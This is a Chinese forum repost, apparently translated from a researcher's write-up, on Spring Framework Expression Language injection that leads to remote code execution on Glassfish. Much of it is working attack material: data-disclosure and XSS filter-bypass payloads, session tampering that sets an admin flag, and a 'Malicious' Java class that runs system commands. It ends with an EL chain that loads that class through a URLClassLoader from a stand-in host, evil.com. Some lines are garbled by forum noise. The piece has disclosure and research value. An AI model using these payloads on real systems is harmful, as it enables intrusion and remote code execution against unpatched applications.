找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2355|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
Remote Code with, i' @  e" v9 V6 g, Y
Expression Language Injection7 `9 L7 n( h1 `9 R# c$ b
Spring Framework脆弱性—DanAmodio
( W* F! c6 H, Q' f! m8 _. C全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中( j& j3 q! m4 M2 N" e% z. R8 ~1 J( L
可能会存在风险。
$ J7 B- L  y2 u5 m  V" _( e在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
# @0 I1 e! u' eArshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
' U2 P# u$ \1 M! g以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,4 A7 J0 e5 K& h
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
, A" B0 O& \' h1 S8 R& I8 r版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。1 o2 n( P; [7 A1 w! D
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但$ S( C2 X7 \" f
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版  }$ J: W( P1 n! f' ?
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。1 G. d, Q0 L/ Y4 G: r
这些版本不支持禁用double EL resolution.9 w& x6 p' p4 X& @; c3 A/ B
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含8 J. K6 F6 S' R  U: i  q$ A5 H
EL2.2容器上可能进行远程代码执行。# ]5 l3 g& |7 f/ O
这是一个原始信息泄露的攻击例子:& _" R$ A6 a  f% ]( V9 W8 ]! {
请求:8 f5 v6 n9 c7 w: X) O$ H0 h/ e
ttp://vulnerable.com/foo?message=${applicationScope}6 x1 R; i' b6 S/ c/ n- V# ]! t
到达以下内容页面:
( h: M5 |) M( G: W! C结果将输出一些包含内部服务器信息calsspath 和本地工作目录9 {' S% p$ a6 p+ N1 `
你也可以做一些其他事情,如这样:& a: n% g3 T& Z
${9999+1}
2 C' [( e7 s# [' t8 c) N还可以访问session 对象和beans* _; v" o2 S8 ~5 a9 Q, k, L% p
${employee.lastName}
- z( E) d1 t; p  M在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是2 y" }  Z% L+ e# T" t. f7 @9 C. N7 i
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东9 P+ I5 t# Q  o( E
西,比如XSS.) J" H7 x& p& K
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
4 F$ f9 J* Y, d突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤3 S- G! R. S, O/ R1 N( `; ~& u
呢?”6 M8 y7 F) w% w: P8 N$ S- e
因此,我尝试巳缦拢�
6 `7 Z) S2 A7 n  _( K9 b( Zhttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
3 O/ x6 y5 h2 n; `, j; L5 C3 TP
* x! z$ d; ^3 j# Y: C我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返- w, |; z' z9 i2 ?& H- X& C1 H6 H
回的文本被插入进了spring:message 标签。
* E& {- e3 P* a$ ^& `3 ^( x! M这里是一个最终绕过过滤的实例:9 z' Q8 W4 q) j( f) h5 U( D
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ! @9 n4 W& T( o# v, K# l
它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
3 _+ _7 ]) V; Y7 @什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
$ L" I' Q/ \0 C经过一番研究,我学习到EL2.2 增加了方法调用。
( L* B$ V# }  A0 h) i3 O7 R我写了一个快速测试应用程序代码并且检测一些功能2 k. v2 `7 m4 W* ~7 H
${pageContext.request.getSession().setAttribute(“account”,”123456″)}  z0 _6 y1 U3 w9 G4 B2 k' A
${pageContext.request.getSession().setAttribute(“admin”,true)}$ |2 V: y; k- w& X0 N- @' Z$ z
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的4 ~8 D8 x, U: D* B* W* E
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?' L) [9 k. o" W1 H
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1! f. o" ^- H( C, `: g
“, 1234)}) M7 f* i" q  N6 n) W- G, h
${“”.getClass().forName(“java.lang.Runtime”)}
1 n  O) [' ~6 |. _! _2 W4 B哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
$ Q9 b8 Q/ Z! Y6 R- I可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函, c- V' O3 T' M
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
# x' f2 l, L! }+ b( e  t$ e一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
& q5 _3 b0 p6 Q; A4 g6 ]+ S4 V方法签名invoke(Object obj, Object„ args)4 o* y3 X/ j+ L4 a! s3 V4 `
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问5 K- h" T+ _( s, g8 B2 `1 a
题,以让它可以工作起来。
7 ?( v4 |3 a, \7 p( J8 o' D漏洞利用:6 q& L0 n3 X: d+ E( z0 Z( I3 }
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我, J! C; j( v2 q5 ^, ]0 D5 W3 F
希望你们中的一些JAVA奇才告诉我我是如此的可笑。. O( j$ n9 M2 H0 a; Y$ s
这里有一些我试过的失败的用例,为了试图让它工作的用例:
' W# M/ q/ q* \* Y2 A, o# y 写文件到文件系统
; ?  C3 q5 {% v, o0 B! Z9 g 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.3 M0 i3 y7 B1 D6 O: C/ `' m
我认为这些可以很好的工作,但是我不能找到合适的类来载入。1 P; n0 [# v3 E# d9 D$ w8 x
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
* P" K* l5 f# Wjavax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
6 b8 K, v$ }4 t1 Dorg.springframework.expression.spel.standard.SpelExpressionParser not found& ?4 T% G5 U' P$ ~: K) l; m
by% h  y% z- Z0 X" j
org.glassfish.web.javax.servlet.jsp [194].
9 S/ U1 T  p. |, K, H2 H: ~8 y 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public) |8 x. l! X( v4 m' [  x
 利用反射来创建一个新的Runtime(and watch the world burn)0 B. }3 X) \0 ^' x
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName, Q+ Z1 k. j5 y& ~. S7 v
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
! S2 u5 @6 ~: c6 M) G$ |${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}* s9 N* `) v) S% b. c0 p
 使用java.lang.ProcessBuilder* |0 R! e% g8 F9 Q+ g; o
 用表达式语言来评估表达式语言
* M, |! d3 f* P2 w+ P) TExpression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
4 ?( K' K2 U. u/ j/ b, g: r" |${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request  R' q0 ^( }8 U3 _; s, `
“,”".getClass(),null)}
& D9 n/ u7 Q/ d 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
( s3 V2 O6 m+ f/ v% J5 _# |我在使用一个空数组通过Method.invoke()时失败了很多次  @' O  G) ]# E5 P, n2 e
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
) {) z# V  N. |3 e.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
% V2 \+ d4 f) ?, G  U& T$ _& frrayList”).newInstance().toArray())1 m+ Z6 G# N0 I% B" g
java.lang.IllegalArgumentException: wrong number of arguments, C7 p. J  D* z6 M& u$ V
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可4 N+ i& H; i7 I( Y; a2 P9 S. h
以创建一个恶意class文件并且指向类装载器.
' W" p, F3 J7 f4 S4 O我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:& E8 W6 P' K0 H* j' x  w
public class Malicious {6 P3 y( h; f9 u8 [
public Malicious() {6 i6 {: Q% q4 _( a1 O
try {
, B/ S# F' ?! O  q+ U; q, ^" x, ~java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
& ?$ Y6 D# }3 @& l) r6 ?  ojava.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
, a; y1 `) m; J( K& _6 i} catch (Exception e) {& p4 \9 O* B0 y5 r
}$ a! I( H' J$ @- z2 W5 C
}6 K+ E5 D# G6 X. P0 N) u
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回
: `) t: {) \0 }% D. V0 g+ I5 \7 P3 H/ ?话中,因此它可以被使用.
/ u& r4 ]5 R- I0 I) d${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
) \, E$ X/ y: M% j" K(“java.util.ArrayList”).newInstance())}; q: c# E; f2 T& ^. Q9 a
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建6 ?& ^- k9 D) ^
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和+ U! L; z4 h$ o4 t! y$ I
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
$ }4 t6 x! s6 q3 L我们可以调用的create(string)方法,然后转换对一个URL对象。
% i+ o6 Y  e$ q% _) K3 ^- C${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh( a& ?2 w) H% ~# Q  M
ere/malicious/classfile/is/located/”).toURL())}
; @- T2 c& w9 W! ?, ~, ^然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,+ @/ i5 q1 `; x1 p8 H& P9 D
恶意类文件被装载并创建,触发远程代码.9 K, H" y- D& C9 M6 z1 M9 O
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
# U4 E/ e! b) C; \% P5 Z' k6 Lxt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
3 B- p4 ?, E7 A# K6 Y* c. \getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
# k$ z; j* h1 Q()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表